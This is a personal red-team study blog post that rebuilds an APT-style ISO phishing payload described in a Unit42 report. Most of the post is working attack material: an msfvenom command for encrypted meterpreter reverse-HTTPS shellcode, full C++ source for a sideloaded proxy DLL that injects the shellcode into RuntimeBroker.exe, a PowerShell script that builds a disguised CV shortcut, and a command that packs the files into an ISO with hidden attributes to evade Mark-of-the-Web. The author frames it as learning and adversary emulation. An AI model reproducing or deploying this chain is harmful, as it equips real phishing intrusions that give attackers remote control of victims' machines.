Recreating an ISO Payload for Fun and No Profit

Credits & Disclaimer

Credits & Disclaimer (CLICK to Expand)

There is no novel research/content in this blog post, nor do I claim any work in this blog post to be mine (it’s not). This post is just a personal study note that I use for personal reasons while I study others’ work regarding offensive security tradecraft. All credits go to the authors below, and many more.

Summary

This post contains my personal best effort to recreate the initial access payload shown in the PaloAltoNetworks Unit42's (hereinafter PAN) blog post. Specifically, the payload consists of an ISO file that contains on-disk shellcode, DLL sideloading payloads, and a LNK file to trigger the DLL sideloading.

( PAN's blog post attributed the attackers to APT29. However, since I saw some doubts around the community on the certainty of the attribution, I'll just refer to "the attackers" in this blog post. )

Why?

  • The more I learned different TTPs in my free time, I felt like I was only stacking fragmented knowledge. For example, I learned to create LNK files, DLL sideloading, and ISO payloads, but never had the opportunity to put everything together (as I'm not a professional red teamer).
  • The initial access chain contained some of the TTPs I learned recently. This project helped me to solidify and combine the fragmented knowledge I learned.
  • Recreating initial access payloads used in attacks help me understand what kind of TTPs are actually being used in the real world.

Initial Access Payload

Based on the PAN blog post, the attackers used an ISO payload with DLL sideloading, on-disk shellcode, and a LNK file. Below is a diagram from the blog post, which I modified a bit:

Modified version of the diagram from: https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/

The initial payload starts as an ISO file. Once the ISO file is mounted, it shows the following payloads:

Type Name Description
ISO Roshan_CV.iso ISO file that gets mounted and extracts payloads
LNK Roshan-Bandara-CV-Dialog.lnk Windows shortcut file which starts OneDriveUpdater.exe through cmd.exe
EXE OneDriverUpdater.exe A legitimate digitally signed Microsoft PE binary that is used to update OneDrive
DLL version.dll Proxy DLL that gets DLL sideloaded
DLL vresion.dll Legitimate version.dll that is digitally signed by Microsoft
Shellcode OneDrive.Update Shellcode that gets executed by version.dll

The payload gets executed through the following steps:

  1. The ISO file extracts all the payloads listed in the table above.
  2. Victim user clicks the LNK file. The LNK file starts cmd.exe which then starts the OneDriveUpdater.exe.
  3. OneDriveUpdater.exe sideloads the attacker's version.dll.
  4. version.dll reads the shellcode (OneDrive.Update) from disk, decrypts it using XOR, and injects the shellcode into theRuntimeBroker.exe process.
  5. Any legitimate function calls to the version.dll gets proxied to the legitimate version.dll library -vresion.dll  

Based on the details above, let's create the payloads.

0 - Shellcode

The attackers used a shellcode of Brute Ratel C4's agent (badger). However, since I  don't have the money to buy licenses for CobaltStrike or BR, let's use the good old meterpreter. Note that any shellcode will work, from sliver to donut'ed Grunt from Covenant.

Make sure to XOR encrypt the shellcode while using msfvenom. The actual XOR key that the attackers used was - jikoewarfkmzsdlhfnuiwaejrpaw.

msfvenom -p windows/x64/meterpreter/reverse_https lhost=<ip> lport=<port> f raw -o /root/attack/OneDrive.Update exitfunc=thread --encrypt xor --encrypt-key "jikoewarfkmzsdlhfnuiwaejrpaw" exitfunc=thread -v shellcode

1 - OneDriveUpdater and Legitimate version.dll

I obtained the OneDriveUpdater.exe through malshare by the IoC hashes that was listed in the PAN's blog post. Specifically, this sample was used.

I was aware that version.dll was infamous(?) for DLL sideloading with the MS Teams binary. However, I wasn't sure where it was, so procmon with the following filters was used to find the location of the file. Alternatively, WFH from ConsciousHacker can be used to locate DLLs that can be sideloaded. After finding the location (duh it was c:\windows\system32), I copied over the version.dll to the working directory.

procmon filter and version.dll's location

2 - DLL Sideloading

SharpDLLProxy

To create the proxy DLL, I used SharpDLLProxy by @Flangvik . Git clone, compile, and copy over the shellcode file and the version.dll file in the directory where SharpDLLProxy is. Then, run it.

cp c:\windows\system32\version.dll .
.\SharpDllProxy.exe --dll .\version.dll --payload .\OneDrive.Update

SharpDLLProxy will create a DLL and a .c file. The DLL is just a renamed version.dll- rename the file to vresion.dll. Renaming the DLL is not necessary, but I just wanted to mimic the filenames from the blog post.

.c file is the source code that will be compiled to the malicious version.dll file. This source code needs to be modified to match the TTPs that the attackers used.

Modifying proxy DLL

The version_pragma.c file is the file that needs to be compiled into the malicious proxy DLL - version.dll. Open up Visual Studio (or any IDE) and create a Dynamic-Link Library (DLL) C++ project. Make sure to name the project to version .

The source code needs some modification to mimic the TTP of the attackers. The 10-step subroutine can be found in the PAN blog post with the specific section "Modification of Version.dll".

My version of version.dll source code can be found here - Github Repo Link

The repo also contains a console version of the payload for debugging purposes with the MessageBox shellcode.

Important source codes are copied/pasted below.

Modified dllmain.cpp (CLICK to expand)

#include "pch.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <stdlib.h>
#include "CreateSection.h"
#pragma comment(lib, "ntdll")

#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)

// The DLL's name was changed from tmpXXXX to "vresion", because that's the legitimate DLL's changed name.
#pragma comment(linker, "/export:GetFileVersionInfoA=vresion.GetFileVersionInfoA,@1")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=vresion.GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/export:GetFileVersionInfoExA=vresion.GetFileVersionInfoExA,@3")
#pragma comment(linker, "/export:GetFileVersionInfoExW=vresion.GetFileVersionInfoExW,@4")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=vresion.GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=vresion.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=vresion.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=vresion.GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/export:GetFileVersionInfoW=vresion.GetFileVersionInfoW,@9")
#pragma comment(linker, "/export:VerFindFileA=vresion.VerFindFileA,@10")
#pragma comment(linker, "/export:VerFindFileW=vresion.VerFindFileW,@11")
#pragma comment(linker, "/export:VerInstallFileA=vresion.VerInstallFileA,@12")
#pragma comment(linker, "/export:VerInstallFileW=vresion.VerInstallFileW,@13")
#pragma comment(linker, "/export:VerLanguageNameA=vresion.VerLanguageNameA,@14")
#pragma comment(linker, "/export:VerLanguageNameW=vresion.VerLanguageNameW,@15")
#pragma comment(linker, "/export:VerQueryValueA=vresion.VerQueryValueA,@16")
#pragma comment(linker, "/export:VerQueryValueW=vresion.VerQueryValueW,@17")

// All credits to https://github.com/peperunas/injectopi/blob/master/CreateSection/CreateSection.cpp
// and https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/#Modification-of-Versiondll

BOOL LoadNtdllFunctions() {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");

    ZwOpenProcess = (NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID))GetProcAddress(ntdll, "ZwOpenProcess");
    if (ZwOpenProcess == NULL) return FALSE;

    ZwCreateSection = (NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE))
        GetProcAddress(ntdll, "ZwCreateSection");
    if (ZwCreateSection == NULL) return FALSE;

    NtMapViewOfSection = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG))
        GetProcAddress(ntdll, "NtMapViewOfSection");
    if (NtMapViewOfSection == NULL) return FALSE;

    ZwCreateThreadEx = (NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, PVOID))
        GetProcAddress(ntdll, "ZwCreateThreadEx");
    if (ZwCreateThreadEx == NULL) return FALSE;

    NtDelayExecution = (NTSTATUS(NTAPI*)(BOOL, PLARGE_INTEGER))GetProcAddress(ntdll, "NtDelayExecution");
    if (NtDelayExecution == NULL) return FALSE;


    ZwClose = (NTSTATUS(NTAPI*)(HANDLE))GetProcAddress(ntdll, "ZwClose");
    if (ZwClose == NULL) return FALSE;

    return TRUE;
}

HANDLE getProcHandlebyName(const char* procName) {
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);
    NTSTATUS status = NULL;
    HANDLE hProc = 0;

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (Process32First(snapshot, &entry)) {
        do {
            if (strcmp((entry.szExeFile), procName) == 0) {
                OBJECT_ATTRIBUTES oa;
                CLIENT_ID cid = { (HANDLE)entry.th32ProcessID, NULL };
                InitializeObjectAttributes(&oa, nullptr, 0, nullptr, nullptr);
                // 3. Call the Windows API ntdll ZwOpenProcess using the process ID from step 1. The process is opened with full control access.
                status = ZwOpenProcess(&hProc, PROCESS_ALL_ACCESS, &oa, &cid);

                if (!NT_SUCCESS(status)) {
                    continue;
                }
                return hProc;
            }
        } while (Process32Next(snapshot, &entry));
    }
    ZwClose(snapshot);

    return NULL; 
}

// credit: Sektor7 RTO Malware Essential Course 
void XOR(char* data, size_t data_len, char* key, size_t key_len) {
    int j;

    j = 0;
    for (int i = 0; i < data_len; i++) {
        if (j == key_len - 1) j = 0;

        data[i] = data[i] ^ key[j];
        j++;
    }
}


DWORD WINAPI DoMagic(LPVOID lpParameter)
{
    if (LoadNtdllFunctions() == FALSE) {
        printf("[-] Failed to load NTDLL function\n");
        return -1;
    }

    // 1. Enumerate all process and locate process for RuntimeBroker.exe 
    // https://stackoverflow.com/questions/865152/how-can-i-get-a-process-handle-by-its-name-in-c
    HANDLE hProc = getProcHandlebyName("RuntimeBroker.exe");
    if (hProc == NULL) {
        exit(0);
    }

    // 2. Read the payload file OneDrive.Update from the current working directory.
    FILE* fp;
    size_t shellcodeSize;
    unsigned char* shellcode;
    fp = fopen("OneDrive.Update", "rb");
    fseek(fp, 0, SEEK_END);
    shellcodeSize = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    shellcode = (unsigned char*)malloc(shellcodeSize);
    fread(shellcode, shellcodeSize, 1, fp);

    char key[] = "jikoewarfkmzsdlhfnuiwaejrpaw";

    // 4. Decrypt the payload file using the XOR encryption algorithm with a 28-byte key of: jikoewarfkmzsdlhfnuiwaejrpaw
    XOR((char*)shellcode, shellcodeSize, key, sizeof(key));

    HANDLE hSection = NULL;
    NTSTATUS status = NULL;
    SIZE_T size = 4096;
    LARGE_INTEGER sectionSize = { size };
    PVOID pLocalView = NULL, pRemoteView = NULL;
    SIZE_T scLength = sizeof(shellcode);
    int viewUnMap = 2;

    // 5. Call the Windows API NtCreateSection, which creates a block of memory that can be shared between processes.
    if ((status = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS) {
        return -1;
    }

    // 6. Two calls into the Windows API NtMapViewOfSection. The first call maps the contents of the decrypted payload into the current process memory space.
    if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(),
        &pLocalView, NULL, NULL, NULL,
        &size, viewUnMap, NULL, PAGE_READWRITE)) != STATUS_SUCCESS) {
        return -1;
    }

    // Use for in-file shellcode 
    //memcpy(pLocalView, shellcode, sizeof(shellcode));

    // Use for on-disk shellcode 
    memcpy(pLocalView, shellcode, shellcodeSize);

    // 6. Second call maps the contents into the Runtimebroker.exe memory space.
    if ((status = NtMapViewOfSection(hSection, hProc, &pRemoteView, NULL, NULL, NULL,
        &size, viewUnMap, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) {
        return -1;
    }

    // 7. Calls the Windows API NtDelayExecution and sleeps (pauses execution) for ~4.27 seconds
    LARGE_INTEGER interval;
    interval.QuadPart = -1 * (int)(4270 * 10000.0f);
    if ((status = NtDelayExecution(TRUE, &interval)) != STATUS_SUCCESS) {
        printf("[-] Cannot delay execution. Error code: %08X\n", status);
        return -1;
    }
     
    // 8. Call the Windows API NtCreateThreadEx.
    HANDLE hThread = NULL;
    if ((status = ZwCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProc, pRemoteView, NULL, CREATE_SUSPENDED, 0, 0, 0, 0)) != STATUS_SUCCESS) {
        return -1;
    }
    
    ResumeThread(hThread);

    // 9. Calls the Windows API NtDelayExecution and sleeps (pauses execution) for ~4.27 seconds
    interval.QuadPart = -1 * (int)(4270 * 10000.0f);
    if ((status = NtDelayExecution(TRUE, &interval)) != STATUS_SUCCESS) {
        printf("[-] Cannot delay execution. Error code: %08X\n", status);
        return -1;
    }
    
    // 10. Finished. 
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    HANDLE threadHandle;

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // https://gist.github.com/securitytube/c956348435cc90b8e1f7
        // Create a thread and close the handle as we do not want to use it to wait for it 
        threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
        CloseHandle(threadHandle);

    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        Sleep(5000);
        break;
    }
    return TRUE;
}
CreateSection.h (CLICK to expand)
//All credits to https://github.com/peperunas/injectopi/tree/master/CreateSection
//@file CreateSection.h
//@author Giulio De Pasquale, hasherezade
//@brief Section Hijacking
#pragma once
#include <Windows.h>
#include <stdio.h>

#if !defined NTSTATUS
typedef LONG NTSTATUS;
#endif

#define STATUS_SUCCESS 0

#if !defined PROCESSINFOCLASS
typedef LONG PROCESSINFOCLASS;
#endif

#if !defined PPEB
typedef struct _PEB* PPEB;
#endif

#if !defined PROCESS_BASIC_INFORMATION
typedef struct _PROCESS_BASIC_INFORMATION {
	PVOID Reserved1;
	PPEB PebBaseAddress;
	PVOID Reserved2[2];
	ULONG_PTR UniqueProcessId;
	PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
#endif;

typedef LONG NTSTATUS, * PNTSTATUS;
typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
	ULONG Length;
	HANDLE RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG Attributes;
	PVOID SecurityDescriptor;
	PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) == STATUS_SUCCESS)

typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES;
#define InitializeObjectAttributes( p, n, a, r, s ) { \
		(p)->Length = sizeof( OBJECT_ATTRIBUTES );        \
		(p)->RootDirectory = r;                           \
		(p)->Attributes = a;                              \
		(p)->ObjectName = n;                              \
		(p)->SecurityDescriptor = s;                      \
		(p)->SecurityQualityOfService = NULL;             \
		}

typedef NTSTATUS(WINAPI* PFN_ZWQUERYINFORMATIONPROCESS)(HANDLE,
	PROCESSINFOCLASS, PVOID,
	ULONG, PULONG);

NTSTATUS(NTAPI* ZwQueryInformationProcess)
(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass,
	PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);

NTSTATUS(NTAPI* ZwCreateSection)
(_Out_ PHANDLE SectionHandle, _In_ ACCESS_MASK DesiredAccess,
	_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
	_In_opt_ PLARGE_INTEGER MaximumSize, _In_ ULONG SectionPageProtection,
	_In_ ULONG AllocationAttributes, _In_opt_ HANDLE FileHandle);

NTSTATUS(NTAPI* NtMapViewOfSection)
(_In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle,
	_Inout_ PVOID* BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize,
	_Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize,
	_In_ DWORD InheritDisposition, _In_ ULONG AllocationType,
	_In_ ULONG Win32Protect);

NTSTATUS(NTAPI* ZwCreateThreadEx)
(_Out_ PHANDLE ThreadHandle, _In_ ACCESS_MASK DesiredAccess,
	_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ HANDLE ProcessHandle,
	_In_ PVOID StartRoutine, _In_opt_ PVOID Argument, _In_ ULONG CreateFlags,
	_In_opt_ ULONG_PTR ZeroBits, _In_opt_ SIZE_T StackSize,
	_In_opt_ SIZE_T MaximumStackSize, _In_opt_ PVOID AttributeList);


NTSTATUS(NTAPI* ZwUnmapViewOfSection)
(_In_ HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress);


NTSTATUS(NTAPI* ZwClose)(_In_ HANDLE Handle);

typedef struct _CLIENT_ID
{
	PVOID UniqueProcess;
	PVOID UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

NTSTATUS(NTAPI* ZwOpenProcess)
(
	PHANDLE ProcessHandle,
	ACCESS_MASK DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes,
	PCLIENT_ID ClientID
	);

NTSTATUS(NTAPI* NtDelayExecution)(
	BOOL Alertable,
	PLARGE_INTEGER DelayInterval
	);

When using the GitHub repo, make sure the Project Charset is correctly set. Right click the project -> Properties -> Advanced -> Character Set -> Set to Use Multi-byte Character Set for the correct Configuration & Platform.

Watch out for the Character Set 

With the modified source code, compile it to the version.dll.

3 - LNK  

The LNK file is used to execute OneDriveUpdater.exe. The following snippet from DerbyCon6 - Attacking Evil Corp - Anatomy of a Corporate Hack was used to create the LNK file. The only difference is that I used wordpad's icon instead of MS Office Word since my testing VM didn't have it.

$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("c:\testdefender\Roshan-Bandara_CV_Dialog.lnk") # Changeme!
$link.windowstyle = "7"
$link.targetpath = "%windir%/system32/cmd.exe"
$link.iconlocation = "C:\Program Files (x86)\Windows NT\Accessories\WordPad.exe"
$link.arguments = "/c start OneDriveStandaloneUpdater.exe"
$link.save()

4 - ISO

To create the ISO payload, PackMyPayload from mgeeky was used. The tool originally had a problem with creating ISOs with files that had hidden attributes using attrib.exe +h <file>.

So I created a PR that fixes the problem above. PMP now has a--hide flag that can be used to hide files within the ISO.

First, create a directory and move all of the payloads into the directory.

  • OneDrive.Update - meterpreter shellcode
  • version.dll - Malicious proxy DLL
  • vresiondll - Actual version.dll that was renamed
  • OneDriveUpdater.exe - Legitimate OneDrive updater binary
  • Roshan-Bandara_CV_Dialog.lnk - LNK file

Then, run PMP. Hide all of the payloads except LNK, since the victim user has to click the LNK file.

python .\PackMyPayload.py C:\opt\dllsideloading\ C:\testdefender\Roshan_CV.iso --out-format iso --hide OneDrive.Update,OneDriveStandaloneUpdater.exe,version.dll,vresion.dll

< ... >

[.] Packaging input file to output .iso (iso)...
Burning files onto ISO:
    Adding file: /OneDrive.Update
    Adding file: /OneDriveStandaloneUpdater.exe
    Adding file: /Roshan-Bandara_CV_Dialog.lnk
    Adding file: /version.dll
    Adding file: /vresion.dll
    Hiding file: //OneDrive.Update
    Hiding file: //OneDriveStandaloneUpdater.exe
    Hiding file: //version.dll
    Hiding file: //vresion.dll

[+] Generated file written to (size: 4327424): C:\testdefender\Roshan_CV.iso

Result

Sorry for the starcraft mouse dragging habbit

As shown in the gif above, the payload executes successfully.

Conclusion

With the fall of maldocs and VBA macros, the adversaries are using different types of attachments for phishing - as stated in mgeeky's WarCon22 presentation. Additionally, DLL Sideloading seems to be a reliable and effective way to proxy the execution of code through legitimate binaries.

This small project helped me to solidify and combine the fragmented knowledge that I had with DLL sideloading, ISO payloads, and LNK files. For future research, I'm thinking about rebuilding my homelab with Elastic EDR to see the process tree and some detection methods/IoCs regarding this TTP. Changing the payload to use some syscalls would be nice as well.

Happy hacking!

Reference

When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors
Pentest and adversary emulation tool Brute Ratel C4 is effective at defeating modern detection capabilities – and malicious actors have begun to adopt it.
GitHub - peperunas/injectopi: A set of tutorials about code injection for Windows.
A set of tutorials about code injection for Windows. - GitHub - peperunas/injectopi: A set of tutorials about code injection for Windows.
GitHub - mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag & demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX
A PoC that packages payloads into output containers to evade Mark-of-the-Web flag &amp; demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX ...

https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/

https://mgeeky.tech/uploads/WarCon22%20-%20Modern%20Initial%20Access%20and%20Evasion%20Tactics.pdf

https://adsecurity.org/wp-content/uploads/2016/09/DerbyCon6-2016-AttackingEvilCorp-Anatomy-of-a-Corporate-Hack-Presented.pdf

Special Thanks

@mgeeky - For the WarCon22 presentation - Modern Initial Access and Evasion Tactics (linked in References section). Online classes when?!

@knavesec - For teaching me the keyword DLL sideloading and making me to go down the rabbit hole

Show Comments